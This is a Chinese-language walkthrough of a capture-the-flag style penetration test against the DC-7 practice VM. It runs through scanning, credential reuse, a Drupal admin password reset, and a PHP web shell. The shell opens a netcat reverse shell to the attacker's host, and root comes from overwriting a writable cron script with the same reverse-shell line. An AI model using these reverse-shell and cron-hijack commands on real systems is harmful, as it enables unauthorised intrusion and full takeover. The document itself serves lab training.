DC-7靶机渗透测试记录

靶机信息

靶机地址：https://www.five86.com/dc-7.html
下载完成后，运行文件夹中的.ova文件即可安装靶机（vmware）
网络连接方式为NAT，kali与靶机为同一网段

信息搜集

nmap扫描网段，判断出靶机ip后对目标进行扫描

nmap -sn 192.168.200.0/24
nmap -A 192.168.200.134

访问下80端口，看了一些路径没什么发现
看到网页底部有个@DC7USER，百度搜了一下，找到了github上的项目

在config.php文件里找到了用户名和密码

漏洞利用

尝试登录网站失败，登录ssh成功

ssh 192.168.200.134 -l dc7user

看了下backups文件夹，查看文件是乱码，文件后缀名为.gpg，是一种加密格式

再看下mbox文件，提到了一个路径，应该跟计划任务有关

backups.sh脚本内容如下

没找到登录网站的密码，看了下站点是drupal的，可以通过drush命令来修改admin密码，需要在站点路径下使用，使用修改后的admin密码登录到网站

cd /var/www/html
drush user-password admin --password="admin"

# 将admin密码修改为admin

进入后台准备在首页文章处写入弹shell，写完后发现不支持php代码

查了下，还要手动安装下php，点击install new module，输入下方的url后，点击install
url：https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz

安装完成后，勾选上php filter，在最下面点install

这样就ok了

权限提升

在首页文章处编辑，写入shell，kali监听，刷新首页即可回弹kali

<?php system('nc 192.168.200.128 666 -e /bin/bash')?>

获取交互模式

python -c 'import pty;pty.spawn("/bin/sh")'

通过backups.sh来提权，这个文件会定时执行，属主为root属组为www-data且都有读写执行的权限

-rwxrwxr-x 1 root www-data 520 Aug 29  2019 backups.sh

还是先进入站点目录下输命令，由于定时任务大概15分钟执行一次，提权后需要等一会儿

cd /var/www/html
echo "nc 192.168.200.128 666 -e /bin/bash" > /opt/scripts/backups.sh

nc -lvp 666

回连成功后，拿到flag